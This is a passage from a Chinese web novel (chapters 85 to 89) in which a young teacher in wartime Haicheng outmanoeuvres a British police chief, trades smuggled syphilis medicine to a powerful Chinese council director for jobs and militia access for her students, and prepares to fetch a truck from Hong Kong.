更妙的是,她才十三岁。把十三岁的孩子投进监狱里,放在任何地方都要受到谴责。 大不了,赔你玻璃钱,赔你大门钱,双倍。 她不过是个平平无奇的体育□□,在平平无奇 地领着学生们晨跑。偶尔晚上没事,带着罗阿水平平无奇地在查理家门外散个步,再平平无奇地坐在他家门口擦个刀罢了。 春妮领着平平无奇的学生们,平平无奇地在查理家外晨跑坚持了一个星期,学校等待的最后通碟迟迟没到,反而是晨跑的第十天,他们每天光顾的老地方住进了新租客,原来那个柯莱恩处长的好朋友查理——春妮假装不知道他搬去了法租界。 得知这个消息,方校长是又开心又担心:“没有了一个查理,不知道还会不会有别人。” 春妮想到这十天里突然隐身了的柯莱恩处长,眯着眼睛笑了:不要紧,一个一个,慢慢来。 狐狸的尾巴,总会露出来的。 第86章 086 强者的心态 查理从心地跑了, 他搬出来的护身符柯莱恩处长从始至终没有现身。 哪怕因为查理的报警,春妮几次被传唤到警务处,除了被巡警们推搡两下, 给点脸色看, 再关关禁闭,也没有人真的为难过她。 巡警们这点手段对付普通的孩子,可能对方早就迫不住压力投降了。可春妮关注的,一直是柯莱恩的反应。 她像个小孩子一样领着学生们去查理家骚扰,真的只为礼尚往来?她又不是真的只有十三岁,即使想报复人,也不至于用这么幼稚的办法。 春妮的手段一直摆在台面上, 而且从来都是循序渐近的。她最终目标一直非常明确——试探柯莱恩处长的底线。 警务处对春妮没有更激烈的行动,这可能跟学校为她请了海城最富盛名的华人律师——符宇寰有关。符律师跟英国人的关系很好, 他一来,巡警们即使再不情愿,也不得不放人。 但符律师也坦承,巡捕房的反应的确有些不同常理。他即使是海城最好的律师, 可他也只是个华人。再有能量的华人,对上英国人时, 也会天然矮人一头。他为春妮向英国人周旋,原本设想过很多难题,没想到对方只是放任手下警员小小刁难了一下小姑娘, 就抬手放过了。 这简直不像他以前了解的柯莱恩。 符律师不掩饰对春妮的欣赏:“小姑娘真是初生牛犊,在海城, 像你这样敢跟英国人斗,把巡捕房当自己家一样想进进,想出出的华人, 一只手掌数得出来。” 春妮笑:“我这是仗着,不管怎么样,符律师都有办法救我出来,才敢这么做。” 四个月前,倭国军方抓住了几名被怀疑为抗倭分子的可疑人士。这几名嫌犯中,其中有一名家里是大富商,请动了符律师出手帮忙捞人。符律师果然不负所托,这几月里,除了一名案犯熬不过刑求,死在狱中,其余几名案犯都成功脱罪,被救出了牢狱。 这件事一出,符宇寰声名大震。方校长知道春妮要搞事之后,为防万一,花大价钱辗转请来了符律师作为学校的法律顾问。 在这之前,没有一个人有能力从倭国人的监狱捞出□□,不管符律师是怎么办到的,正如春妮所言,有了符律师坐镇,她身上的确是多了一层保护符,少受了许多罪。 方校长心惊肉跳,他一直不太赞同春妮这么做,只能拉着符律师询问:“那现在查理走了,柯莱恩处长会不会暗地里冲小顾老师下手?” 符律师诚实地道:“按照柯莱恩以往的行事风格,极有可能。” 方校长着急:“那——” 符律师摆摆手:“别着急,我看,是柯莱恩身上有了大|麻烦,顾不上给工厂下绊子。” 他的判断跟春妮差不多。 春妮问他:“您听说什么了吗?” 符律师摇头:“你知道的,如果是英国人自己内部的问题,我很难打听出来,他们对华国人一向不信任。” 这倒是,这些西方人一直觉得华人勤劳归勤劳,可心思太灵活,宁愿使用笨拙但听话胆小的印度人办事,也不愿意相信华人。 符律师给出自己的忠告:“在没打听出来英国人那边出了什么事之前,我不建议你再冒险试探。万一柯莱恩身上的麻烦解决,你又恰好撞到他的枪口上,很难保证他不会有进一步行动。工部局的警务处长想给一个人找麻烦,太简单了。” 既然说到工部局,春妮有一个问题一直想问:“符律师,你说,工部局的江董事,他会不会有内幕消息?” 江董事全名江致清,是工部局九名董事中,唯三的华人董事之一。春妮曾经在金小姐的“婚宴”上,见过他的管家万起山。 符律师摇摇头,道:“很难说。江董事不像另外两名华董。他跟英国人一向不亲近,当年他能进入工董局,也是局势到了那一步,众望所归,跟外国人没什么关系。怎么?你们能打通江董事的关系?” 这件事春妮也听说过,工部局成立初期,董事会里全部是外国人。后来因华人大量涌入租界,形势所需,那些外国人不得不招收了两名华董,但为了保持己方权力的集中,这些华董要么是摆设,要么都是代表外国人利益的大买办。 但江致清不同,他做小手工业起家,后来兴办实业,做棉纱厂,依靠最多的是帮派力量,跟外国人没什么牵扯。十年前,海城大罢工,江致清因为处置迅速,工厂几乎没有什么损失而进入了租界高层视线。因为意大利人在本次事件中表现不佳,他以协助租界平息事态为着眼点,借机联合华商,向外国人施压,将意大利人挤出席位,正式进入了董事会。进入董事会之后。因他向来跟那些外国人不对盘,也的确为华人做了不少事,算是工部局里口碑最好的一名董事。 像这次租界进口越南米,便是由他牵头并一力促成。 春妮摇摇头,没说是,也没说不是。 春妮没回来前,方校长曾托夏风萍走过金小姐的关系。不想一段时日没去,金小姐租住的公寓已经换了人居住。 她向房东和附近的房客们打听金小姐的去向,没有一个说得清。 借着金小姐的圈子,学校认识了不少跟她一样的舞女小姐妹。夏风萍花费数天时间,去金小姐相熟的小姐妹家中打听,得知在一个月前,她的那位丈夫章警长因为逼收税款闹出了人命,让受害者一状告上法庭,被报纸披露出来。事发之后,这位章警长被无限期停职,尚不知复职之日,自然再也顾不上金小姐这里。 海城像是被时间之手施以了加速度一般,只是数天不留意,世界立刻变了个样。他们的合伙人高大海搬出了位于市中心的花园洋房,卫家的那位小公子被人当街杀死,卫老爷子因此病倒……连市长都能在半年之内换三个,章警长的这点事在海城太寻常了。 没有章警长的财力支持,金小姐再也租不起法租界的高档公寓。不出半月,她辞掉娘姨,听人说搬去了华界。但也有人说,她好像是回乡嫁人去了,还有人说,在某个堂子里好像见过她,但仿佛又不是她。总之,这么一位曾在春妮初到海城时给过她一丝温暖的妇人,就这么像露水一样消失在了海城的茫茫人海中。 春妮回来后,夏风萍跟她说起金小姐事的那会儿,她已经跟一个花名叫小菊仙的舞女搭上了线。这一位正是半年前将江致清管家万起山引到金小姐婚宴上,令得各方人物纷纷赶场般为两对“新人”送祝福的始作甬者。 学校花了些钱,请小菊仙帮忙引荐万起山。可小菊仙大约是在姓万的那有点失宠,春妮回来个把月,学校都快放暑假了,也没见她有好消息传来。 符律师便识趣地转了话题,笑说:“说起来,我见过的阔人不算少了。像方校长这样,谦逊简朴,事必恭亲的,真是不多见。” 方校长被唬得连连摆手:“千万不敢这么说。我们工厂是赚 了点钱,可跟我没什么关系。我就是个管钱的,一点也不阔,一点也不阔。” 倒是春妮听了符律师的话,若有所思。 符律师离开后,她找来夏风萍嘀咕一阵,让夏风萍回了趟家,拿来她爸的墨镜,手杖,还有套没上过身的绸缎对襟衫子,叫校长换上试试。 方校长莫名其妙,兼抵死不从:“好好的我换衣裳干什么,这不净折腾人吗?不穿不穿!” 春妮把校长按坐下,正色道:“不行,这衣裳不是给您准备的,你必须得穿。” 方校长怒道:“听听你说的什么鬼话。不是给我准备的,那你别让我穿哪。” 夏风萍也道:“当然得您穿。您现在代表我们学校和工厂的脸面,天天穿着个蓝布袍子,像个落魄教书匠似的,那不是丢我们学校的脸吗?” “我本来就是个教书匠。”方校长不乐道:“教书匠怎么了?没有教书匠,读书人从哪来?” 校长气得一吹一吹的,春妮忙道:“校长,夏老师不是这个意思。我们是觉得,你现在经常跟那些商会和买办们打交道,得有两身好衣裳。不然你一出门,人家都是披金挂银,您去了一身洗得发白的旧布袍子。没说话,人家先看扁你,觉得我们工厂实力不过如此,连主事人都没有件好衣裳穿,不是平白遭人白眼吗?” 符律师的一句话点醒了春妮:学校已经初步具备强者的实力,可校长他们,明显还没有强者的心态。 海城的那些生意人,哪怕在家吃咸菜就稀粥,出门都是车来马去,动辄三五成群,发动好大的声势。是这些人个个都有这么风光?不尽然吧。 世人都是这样,先敬罗衣后敬人。若你生就一副穷酸乡巴佬的作派,出去吃饭,连餐馆的门都进不去,平白受人欺负。 柯莱恩这次挑中学校下手,除了学校钱多,还不是因为觉得好下手?他都没怎么认真布置,就让大伙愁断了肠子。否则,他怎么不去找夏家?不去找江家? 学校真的有这么好欺负? 别的不说,光这千数人的规模,随便拉几十个小伙子出来,谁敢不当回事?海城哪个开着工厂的产业主不是仗着手里有人,走路横着走?偏他们,有了钱,也摆不出谱,可不被人当成了肉鸡。 春妮不要求校长学那些暴发户的作派,可校方上下再把自己放在弱者思维上,遇到事情,头一件想到的,是找人帮忙。那人家自然也不将你看在眼里,觉得你只能靠别人,没有自己的实力。 不管来找麻烦的人是谁,咱们得摆出自己的款,让人看清楚,他们到底欺负不欺负得起! 夏风萍则很有气势地道:“不止您这衣服要换,还要换最好的。还有您以后再去哪,前后八个随员,一个不能少。” 方校长一拍脑袋,叫苦道:“那你们还是先把我换了吧。” 春妮笑道:“瞧您怕的,夏老师跟您开玩笑呢,她爹都没有八个随员。先换上衣服吧。” 正在春妮几个女老师忙着对工厂和学校高层形象大改造之际,一个意外之下,柯莱恩那里的消息也有了实信。 学校的学生,在英国人俱乐部摆多米诺的邓来喜偷听到一个消息,柯莱恩的确在数天前惹上了一个大|麻烦。 处理不好,可能他这个处长也当不长了。 第87章 087 回报 去年年底, 作为第一个被英国人高级俱乐部录用的华国人,邓来喜为学校好好涨了一回脸,让方校长省下了不止一笔招生广告费。 但邓来喜真正上学不到半年, 字还认不全。他自己也知道, 找到这么好的工作,凭的是学校,是小顾老师的本事。他想靠这点本事站住脚,还欠缺得很。因此半点不骄狂,听从老师们的意见,他报了学校的夜班,只要下班有时间, 就会来学校补课。 学校根据他的情况,除却大家都要上的国文数学课之外, 还为他报了一门舒老师的物理课,让夏风萍单独教他英文口语,最后请林老师教他油画的构图,方便他拓展思维, 开发出更多多米诺的布置方法。两位老师单独定制授课,对穷孩子邓来喜而言, 何时享受过这样的殊容? 对学校近日遭到的危机,邓来喜也很清楚。 方校长致力于将学校打造成学生的另外一个家,不止要让他们以学校为容, 这个特殊时期,还要让他们以学校为纽带, 团结在学校周围。他像个不厌其烦的老妈妈一样,从学生的学业,到生活, 每一个细节,只要他有能力就会关心,帮助学生解决他们自己不能解决的所有问题。 现在,校长的付出有了回报。 只有家才值得每个人拼尽全力捍卫。 邓来喜工作的俱乐部里,一位叫卡特的常客说,柯莱恩似乎弄丢了一批什么货物。再找不到的话,他会有自己想象不到的麻烦。 这个叫卡特的人是租界一位董事的管家,他那天去俱乐部说起这事,应当是约了人去帮忙。 春妮曾听说过,租界外围被倭国人围起来后,里面的外国人走私很猖獗,估计柯莱恩也掺和在里面,不知出了什么变故,还牵扯到了工部局的外国人董事。 不想卡特的话无意被邓来喜听见,很快通报给了学校。 邓来喜惶惶道:“小顾老师,你说我把这些事说给你们,让卡特知道了,会不会报复我?” 卡特以为邓来喜像刚来那会儿一样不会英文,并没将这个华人小伙子放在眼里。 春妮安慰他道:“卡特又不知道你已经会了些洋文,你仍然像以前那样装作什么都不会,他怎么会来找你麻烦?” 邓来喜和严广福作为俱乐部里唯二的华人雇员,本来被排斥在英国雇员的小圈子之外。严广福会玩牌九,凭这一手牌技倒是结交了一些猪朋狗友。邓来喜为人内向,加上胆子一向不大,一下班就往学校里跑,更没什么人搭理他。 几个月下来,除了几句必用语,他从英国人那里什么都没学到。 “你要是实在害怕,我让罗阿哥去陪你住两天。”春妮说的罗阿哥指的是罗阿水。 有春妮开口,方校长把罗阿水安排进了学校的护卫队。他暂时没别的事做,每天带着那帮小子们跟春妮一起跑圈,目前跟护卫队值夜班的学生们挤住在教室里。 但教室不是居所,他还是得找个房子安顿下来。这两天,老师们都在帮他打听,只是租界房源实在紧张,一时找不到合适的,拖到了现在。 罗阿水的事,校方没有大肆宣扬,但大伙暗地里都在猜测,小顾老师这次出门必然经历了一件了不得的大事。作为能陪小顾老师安然无恙返回海城的“神秘高手”,罗阿水的实力早在学生们隐秘的传言下不知被夸大了多少。 即使没有夸大,罗阿水之后在学校临时设置的靶场上,用王八盒子连打十环的骄人战绩,也足以让所有人侧目,并对他学校保安队长的实力再无疑虑。 “那……那多不好意思。”说归说,邓来喜却没有拒绝。 罗阿水对春妮的安排毫无异议。 早在明州大山那会儿,他就对这个看着瘦瘦小小的小姑娘一手接一手的手段佩服得五体投地。听了春妮的话,当天晚上就以室友的名义搬去了邓来喜和严广福租住的小屋。 因为俱乐部上班早,下班晚,不方便搭车,两个男孩便在离工作地点不远的地方租住了一个石库门。 桌牌俱乐部位于英租界乃至全海城最中心的 位置,他们住的房子,房东为了节省开支,每一间被木板隔开好几段,一段里放张单人床,再放个柜子,分别租给不同的租客,好赚取多份租金。 这应该就是最早的群租房。 像邓来喜这样,一张床挤好几个人,也不是没有。 罗阿水的入住并没有引来租户和邓来喜同事们的注意,这种年代,人们来来去去,聚聚散散,乃至是生死两隔,都是很寻常的事。何况邓来喜还是个小透明,两三天下来,跟罗阿水这个闷葫芦都说不上两句话。 反倒是严广福,他性格活络,说话做事大方爽快,罗阿水没来两天,严广福送给他一瓶黑黑的药水般的东西,说是什么俱乐部客人点了没喝的“可乐”,他带回来给罗哥尝个鲜,还叫他别嫌弃。 罗阿水一个乡下人,一辈子没见过洋人洋玩意,哪能嫌弃这个?一脸新鲜地喝了可乐,连赞好喝,引得严广福直夸罗阿水爽快,不一会儿两人聊得深了,认了同乡。又过一两天,严广福请罗阿水吃过夜宵,支支吾吾地找他诉苦。 原来他在这些外国人的赌场里玩得如鱼得水,早被人忌讳,这一两个月,有人放出话来,说这小子出千,想要他的命。严广福出没出千,恐怕只有他自己知道。风声越演越烈,他心里害怕,又舍不得赌场来钱快,正巧罗阿水跟邓来喜租到一间房子住,当即动了心思。 他去学校没有邓来喜勤快,但一月里也有一两次,罗阿水这个学校新晋安保队长的名字和事迹,他还是很清楚的。 罗阿水搬过来住后,严广福成天围在罗阿水身边,今天请他吃冰淇淋,明天请他喝汽水,还一口一个“罗哥”地叫得亲热,哄得罗阿水拍着胸脯答应下来,说一定罩着他,包管他平平安安地进赌场,再平平安安地出来。 严广福大喜,当即要跟罗阿水斩鸡头拜把子,硬是认他当了哥哥。 至此,罗阿水这个乡巴佬被严广福算是正式带进了自己的圈子。有了这位传说中的神枪手保护,他出手再没有顾忌,在赌场里大进大出,很快腰包鼓了起来。 严广福在赌桌上大杀四方之际,罗阿水也没闲着。严广福常来的这间赌场一般是像他同事那样,在海城当服务生,或是佣工的外国人,也有少部分华国人,这些华国人多数服务的也是外国人。因为外国人出手大方,经常会额外支付小费,有一些华国人赚了点小钱,也会来这里消遣几局。 赌场上的华国人在外国人手底下干的全是最繁重低等的工作,在那些白人眼里,这些只会说些洋泾浜英语的华国佣人就不算人。因此,漏个一言半语,让仆欧们听去,再寻常不过。 赌桌上的这点时间往往是这些工作苦闷单调,生活孤独的华国人最放松的时候,而这个时候,再喝点小酒,有人的嘴便很容易撬开。 罗阿水在这里待了不到三天,春妮竟然得到了柯莱恩事件的新线索。 “你是说柯莱恩弄丢的是一批药材?你确定没错?” 春妮没料到,罗阿水不声不响地,竟为她干成了这么大的事。 “那个波什么罗家的花匠老徐是这么跟我说的。他们家大少爷刚从南洋回来,成天拉着窗帘不出门,还满世界地找这种药,十有八|九是得了什么脏病。本来他们家等着自己的药材到港喝下去肯定能治好,但听说药材不见了,结果害得他们家大少爷断了药。这两天,他们家全家人心情都差,已经辞了两个佣人,老徐恨不得整天泡在赌场不回去,免得不留神得罪了主人家,被撵出去。” “是叫罗伯特,”春妮笑容满面:“罗阿哥,你这个消息可真是太及时了。我得为你记一大功。” 那就对上了,柯莱恩丢失的货物必定是罗伯特家的药品。只有得罪了工部局的大人物,才会令他那样烦恼,连到嘴的肥鸭子都顾不上咬。 罗伯特是工部局首席董事,邓来喜那天说的卡特正是罗伯特家的管家。 至于为什么堂堂首席董事家丢失了药物却不声张,因为他们丢的药物是走私品,让倭国人知道后,绝对会抓住话柄生事。再者嘛,董事家重点寻找的西药六零六,那是治梅|毒的特效药。 堂堂董事家找治梅|毒的药,说出去还要不要做人了?罗伯特家的那位大公子,可还没成家呢! 罗阿水憨厚地笑着:“我只怕帮不上忙。”过了会儿,又好奇地问:“春妮,你怎么这么高兴?是有什么办法了?” 春妮笑得合不拢嘴:海城的卖春业这么发达,她早猜到这种治性|病的药剂绝对很畅销。可是倭国人把持了海城,乃至整个华国的所有出海口,走正常渠道,药品早就进不了关。但温南不同,整个华国海岸,温南港是少数几个没能被倭军全盘掌握在手中的海港,那里出现一些海城买不到的外国货太正常了。 离开温南前,春妮手头上所有的活钱都用来重点收购药材和这些药品,光是六零六就囤了好几支。从温南重金收购来之后,还没来得及把它们销出去。 这真是天赐良机! 春妮越想越开心:能用这几支药干点什么呢?换柯莱恩下台?似乎分量不太够,而且,太浪费了! 不着急,让她好好想想…… 第88章 088 武装力量 春妮叮嘱罗阿水:“事情办成了, 阿哥就回来吧。我帮你在学校附近寻到了一间房子,只你一个人住。你别再跟严广福天天混在一起,他那种人, 早晚不得善终。” 罗阿水点点头, 迟疑道:“校长已经知道严广福的事了。” 春妮惊道:“校长怎么知道的?你跟他说的?” 罗阿水道:“你瞧我是乱说话的人?是李铁柱,他昨天去寻严广福,顺着找到赌场,两人打了一架。” 春妮叹道:“怕是校长又要操心得睡不着觉了。” 照春妮说,像严广福那样的赌棍没得救,让他死在赌场里得了。可校长一向奉行有教无类,严广福是他的学生, 哪里会轻易放弃他? 校长是个有坚持的人,春妮管不了他, 只能暂时丢开这事,同罗阿水道:“阿哥办成这件大事,今天跟我回家,我买些好菜来庆祝庆祝。” 两人在十多天的生死逃亡中早就结下不同寻常的情谊, 罗阿水不跟她客气,还点菜道:“你会不会做红膏炝蟹?” 红膏炝蟹一般在秋天梭子蟹凝膏时做, 但夏天选取肥美的螃蟹多腌制一段时间也能做,是海城乃至南江省的传统名菜。 “会做。阿哥想家了?” 罗阿水目露忧虑,道:“我从来没离家这么长时间, 不知我们走后,乡亲们怎么样。” 春妮知道, 他是担心自己家乡人有没有受到他们的牵连。罗阿水从小父母双亡,跟他阿姐相依为命。他们村子一向团结淳朴,乡亲们帮衬姐弟俩不少。 春妮沉默了一下, 道:“尹老师不是在托人帮你打听吗?说不定过几天就有消息了。” 春妮回来后,方校长坚决反对她再出门涉险,尹老师只能带着舒老师,两名男老师一起出发去温南。 如果此行顺利,舒老师起码几年内都会留在温南,不回海城来了。正好学校前两天开始放假,四下里清净,等作通工人的工作之后,破竹机随后也会另外安排路径被送到温南。 考虑到温南的特殊情况,可能学校这边还要为工厂方便撤离准备一台卡车。这件事闻老板提出来时,并没报多大希望,但春妮觉得,或许卡车有些难度,但轻便一点的车,努力一下,不是不能办到。 这一切,还要等学校的麻烦摆平后再说。 听说舒老师愿意离开温南,春妮好奇得要命。 她是知道的,舒老师是包教授的爱徒,原本他从吴江大学毕业后,要留校担任助教。就是因为妹妹的病,加上学校要 搬迁到内地,他才留在了海城,让自己学校捡了个漏。也不知道尹老师是用什么条件说服的他,让他毫不犹豫地抛弃海城这花花世界,抛弃学校越建设越好的实验室,带上了弟弟妹妹,竟真是要扎根温南大干一场的模样。 罗阿水欲言又止,闷闷“嗯”了一声。 春妮知道他心结所在,但在结果没出来之前,她也不好说什么。正巧这时夏风萍从小摊前经过,看见春妮,一脸喜色:“春妮,你猜我今天去了哪?” 春妮让她坐下喝凉粉:“去哪了?” “小菊仙家。” 春妮心口微跳,搁下茶碗低声:“你见到万管家?事情办成了?” 夏风萍笑眯眯地点头:“万管家答应了。” 春妮大喜:真是磕睡来了遇到枕头! 她拽起夏风萍就走:“走,跟我去见校长!” 夏风萍赶紧先喝两口:“唉,唉,你让我喝完再走啊!” “回来再喝,我请你喝两碗!” 她的六零六正愁找不到渠道发挥作用,罗伯特家的大儿子又不知道病得如何,万一晚上一天,人没救了怎么办? 万管家收了夏风萍一千块钱,答应为他们找机会引路,后头又听说他们手上有六零六的药,当天下午,方校长一行人就见到了江致清。 这是春妮第一次见到这位传说中海城商界的第一人。 江致清穿着件浅蓝色的单罗长衫,身材矮小,其貌不扬,他亲自站起来迎接三人:“想必这位就是方校长了吧?真是年轻有为啊!” 方校长谦逊地笑了笑,见江致清目光微转,竟是略过韩厂长,放到春妮身上:“这位顾总工,老夫可是久仰大名,对你好奇得很哪。” 春妮好奇地笑道:“不知江先生是怎么听说我的?” 江致清坦言道:“顾小姐一个小姑娘,这半个多月来在租界巡捕房几进几出,视英国人于无物,闯出好大的名声,江某人佩服得很。”一句话表明了自己跟她同一立场。 春妮不好意思地笑笑,将药拿出来,推到江致清面前:“这是我无意中得到的药品,想来送给江先生,应该能发挥最大的作用。” 来之前,万起山曾提点过几人,说江致清说话做事不喜欢转弯抹角,让他们有条件直说。 江致清果然笑道:“多谢顾小姐几位有心,江某人就却之不恭了。若是几位有什么要求,尽管跟江某人说,能办到的,江某人一定帮您办到。”言下之意,若是办不到,你们也不用多想了。 春妮跟方校长和顾厂长对视一眼,方校长咽了咽口水,道:“是我们学校的一些学生。这不是这个学年结束了吗?我们有些学生家里困难,要毕业出来养家。可现在到处找不到合适的工作,如果江先生方便,不知能否帮个忙?” 学校只成立了一年,这些最先招收的学生最多只认识几个字,按理是毕业不了的。现在提前毕业的学生,个个都有特殊情况,学校更不能卡他们。 想找略好一些的工作,在战前或许可以,现在嘛,大量企业内迁,正经工作越来越难找。早在春妮来海城时,金小姐就曾跟她说过,那些向导社卖春的姑娘,可有好些都是识过字的女学生,有些还是中学生呢,不也跟她一样,要做皮肉生意? 但做苦力的话,不是浪费了这一年的学习生涯? 江致清眉头微扬,是真有些讶异了:这几个人身上麻烦不小,面对自己的许诺,竟提了这么简单的要求?倒是识趣,没直言求他帮忙对付柯莱恩。否则,他还要想,怎么打消他们的妄念。 江致清日理万机,原本并没关注到租界一间小小学校被警务处长胁迫的事,但眼前的这个小姑娘忽然闹出偌大动静,即便是他,远在租界的另一边居住,都听说了这间学校遭遇的困境。 可惜这回想伸手的是柯莱恩,即使是他,对上对方,也要掂量掂量再说。 他也听说过,这位方校长数天来到处求人,却没有一个人肯伸手帮他。毕竟是警务处长看上的肉,谁敢伸手来护? 原本江致清有些好奇,柯莱恩这回的手段怎么不像以往那样强硬。不过也只是好奇罢了,他柯莱恩素无仇怨,没必要跟他斗,反正警务处长这样的职位,再怎么斗,也轮不到华人手上。柯莱恩至少是老熟人,该怎么应付他,大家心里都有数。 不想没过两天,他们竟走通了自己管家的路,让他得知了原委不说,还白送了他一份人情。 在他们眼里,罗伯特家大公子的命只值几份工作? 江致清目光闪动,点头道:“正巧江某名下有些产业正在招人,万管家,你明天去江浦学校一趟,记得办好这件事。” 万管家躬身应是。 方校长又道:“我们学校这几月饱受流民困扰,不得不培养了些身强力壮的学生成立巡护队日夜巡护,可惜学校场地有限,一些训练无法施展,只能请先生帮忙另寻一处场地。” “无妨,我回头安排他们进万国商团队操练。万管家,你把这件事也记下来,回头让这些人员去营里登记。” 万国商团队原先是租界成立后,西方国家为了保有自己的利益,不让前朝政府插手租界兵事,以保护侨民为名成立的一个民间武装组织。成立之初,团员中招收的均是他们自己的本国人,后来俄国内乱,一大批前俄贵族流亡到海城,被吸纳进队伍,再后来是犹太人……反正没有华国人。 直到数年后,江致清以成立体育协会的名义组织了华国队,队员在会所里设立了射击场,马场,才使得海城的华国商人们有了一个自己的武装队伍,之后被并入万国商团队。春妮他们此前疯狂寻找合适的训练场地,万国商团队便是首选,可对方因为进团的成员佣金待遇非常不错,招人的要求非常高,他们的人去报名,有一多半要倒在门槛上。 如今有了江致清这个创办人开口,想必他们的人再想进去,就不用被卡了。 就是他们的人比较多,应该……没什么问题吧。应该没问题的。 春妮握着租界首席董事的救命药,却只要求进万国商团队,不止为了他们的训练场地,更是因为,加入了此团,可以合法持有枪支。 学校有了武装力量,即使是柯莱恩,也要掂量掂量动他们的后果。他们将再也不会是手无寸铁,任人欺凌的肉鸡了! 不过因为是私人雇佣兵性质的军队,万国商团队里鱼龙混杂,干保镖的,接脏活搞暗杀的……什么人都有。为了不得罪倭国人,至今万国军团的一处营地都还关押着一年多前会战之后没来得及逃走的华国战俘。这些学生进去之后,难保不会出现像严广福那样意志不坚,被坏人稍一引诱就走岔了路的人。 方校长的意思,如果能成功进去,让春妮一有时间就去跟学生们一起训练,当个总经练督促他们。 这话有点远,先说当下。 方校长努力压住喜色,连声道谢。 江致清脸上也有了真切的笑影,再请几个人喝茶:“这里的白茶不错,三位跟老夫喝一杯吧。” 江致清多忙的人,竟会真邀他们喝茶。 这下,即使连方校长这样木讷不通世务的人都体悟到了眼前大佬对他们的善意,连忙端起茶盏,与春妮和韩厂长相视一笑。 大事办成,也是时候该喝口茶庆祝庆祝了! 至于柯莱恩,弄丢了货物,那些货物背后的主人活撕了他都是轻的,他还想全身而退? 至于怎么神不知鬼不觉地把机器搬到温南,再弄到一台车,回去再慢慢想。现在嘛,当然是喝茶最重要了。 第89章 089 新变化 江致清的这一杯茶有多重要, 端看喝茶前与喝茶后万管家对他们的态度,便能略知一二。 几人虽走通了万管家的路子,给他奉上不菲的引路钱, 面对他们时, 万管家仍是鼻孔朝上,爱搭不理。喝茶后……虽说不至于到前倨后恭的态度,送他们出门时,也难得赏了个笑脸,并邀方校长和春妮“有空多联络”。 至少,在万管家眼里,自己这几人此时才算得上个人物。 心头大事暂时移除, 方校长心情畅快,同江致清道别后, 跟韩厂长交代工作:“那些学生家里,你记得 交代人,明天一个个的,都要通知到。” 放了暑假, 除了护卫队的学生,其他人都回了家。现在护卫队两百多个学生, 每天分三班巡逻学校,晚上住在校舍中。 这些学生以前大多是流浪儿,能有个窝棚住就不错了, 现在住在教室里,不止没什么人抱怨, 还有人开心:“小顾老师,我长这么大,还是头一回住砖瓦房。” 说来也的确心酸, 这话引得校长又动了心思,决定趁放暑假这段时间,再盖一栋宿舍楼出来。 海城房子紧张,校长的这一决定可谓是众望所归,连管帐的王老师都拍手称快,不再卡这卡那。因为校长说了,这栋宿舍楼有一部分会留给老师当宿舍,她和丈夫孩子一家人至今还跟人合租在一间小套房里,成天为了星点小事跟人吵架。 不过王老师不卡钱也没什么,学校忙着扩大生产,忙着买卡车,还忙着搬家,这段时间还要忙着给春妮请律师找关系,帐上能动用的活钱不多,宿舍楼只能慢慢盖着再说。 为了节省开支,校长跟前两次一样,将学生们都动员起来,先打好地基。 这两天,学校跟个大工地似的,倒像比没放假前还热闹。 韩厂长答应下来,跟春妮闲聊:“你说江先生坐在那,看上去也不怎么出奇,我怎么就不太敢说话呢。” 春妮笑:“那当然了。咱们有事相求,说什么话得想好了再说,免得得罪人办砸了事。要是他是你街上见过的一个老伯,你还会这么紧张?” 韩厂长摇头道:“即便江先生是路边的老伯,那也是不一般的老伯。” 春妮回忆了一下:“好像真是这样,江先生身上有一种常人没有的‘势’,他看人的目光是平视的,他很自信。莫名让人觉得,他即使不说话,平常人也无法忽略他。” 她转向方校长,不等开口,方校长已连连摆手:“不成的,我可学不来江先生那样的气派,你别折腾我了,知不知道什么叫画虎不成反类犬?” 春妮:“……”为了摆脱她的形象改造,把自己比喻成狗,校长也是够拼的了。 她噗地笑了:“校长,你紧张什么。我是想问你,什么时候把买卡车的钱拨给我。” 校长松了口气:“这个啊,你回去跟王老师要,我已经跟她说好了。”完了又好奇:“你找到地方买卡车了?” 春妮看着他,不作声。 以前海城也有做卡车卖卡车的商行,但那都是战前的事了。战后嘛,倭国人连煤球都不放过,想通过正规渠道买卡车?做什么梦呢? 校长便明白了,只能叮嘱道:“小心为要。” 春妮跟他透了点实底:“这次不是买零件,改造改造就能用。我打算去外边正经弄一辆德国卡车运回来。” 倭国车和德国车从外表到配置,细节上太多不同,她是傻了才会买一辆倭国人的军车放到学校。不过,温南那边倒无所谓,到时候可以同样打听,能不能搞到发动机和轮胎这些关键部件,其他零件想办法从别的地方弄也一样。 校长紧张:“又要去哪?” “港城。” 港城啊……那还好,至少两边通航,车船都很快捷,就是可能卡车运回海城时,要冒着被倭军扣押的风险,一切都好说。至于卡车上牌照这件事,万管家肯定有路子,所以之前在茶楼里,三个人都没开口请江致清劳神,人情要用在刀刃上。 战争之后,不在倭国人控制下的港城是华国整条海岸线最重要的走私港口,所有在海城买不到的物资,位于港城的洋行绝对有办法弄进来。 韩厂长想办法联系到那边的车行,他们果然说,只要价钱到位,什么车都可以弄到,只是需要货物自提,他们不承担运输风险。 春妮:“……”明白,又到空间上场的时候了。 所以,港城这一趟她不得不跑,而且还只能她一个人去。 春妮跟方校长和韩厂长提出这一点时,两人并没有异议。 一则,港城没有温南那么危险,再则,学校工地需要人看着,方校长这两天有空就去堵严广福,没空理会春妮。韩厂长的事就更多了,出货进货,工厂搬迁……他还得抽空跟校长一样,给自己招个助理,哪顾得上春妮?何况春妮都出过一回门了,再出一次,各项工作安排也方便,熟门熟路。 如此,除了夏生仍是不舍,其他人都没有意见。 除了学校需要的卡车,春妮想为温南准备的汽车配件需要定制,因此,车行接单之后,又过了约有一个多月,春妮才接到通知,打算正式启程。 在这期间,方校长提出的条件江致清全部履行完毕,租界里也有了些常人没注意的新变化。在七月半年一度的工部局董事会议之后,自从一战后空置的德国董事席位被正式裁撤,新补进去的董事姓齐,是位做铁号起家的钢铁大王。至此,华人董事在一共九人的公共租界工部局董事席位上占位近半。 柯莱恩则因为维护租界治安不力,被降职为西区巡长留用。新上任的警务处长叫帕丁森,是以前柯莱恩的下属。 春妮几个私下猜测,柯莱恩这次出血不少,说不定大部分药品损失都是由他自掏的腰包,才保住了职位。不过,他再想从巡长之位东山再起,只怕是难了,至少帕丁森就不会让他如愿以偿。而他履职的西区跟学校所在的东区一点边都挨不着,这个人再也不足为虑了。 当时没有浪费机会,请江致清处理柯莱恩是对的。他出了这么大岔子,首先容不得他的,就是工部局那些西人高管。 尹老师那边进展也很顺利,舒老师带着弟弟妹妹顺利抵达温南之后,方校长跟韩厂长挨个谈话动员的十几个工人随后也到了温南。 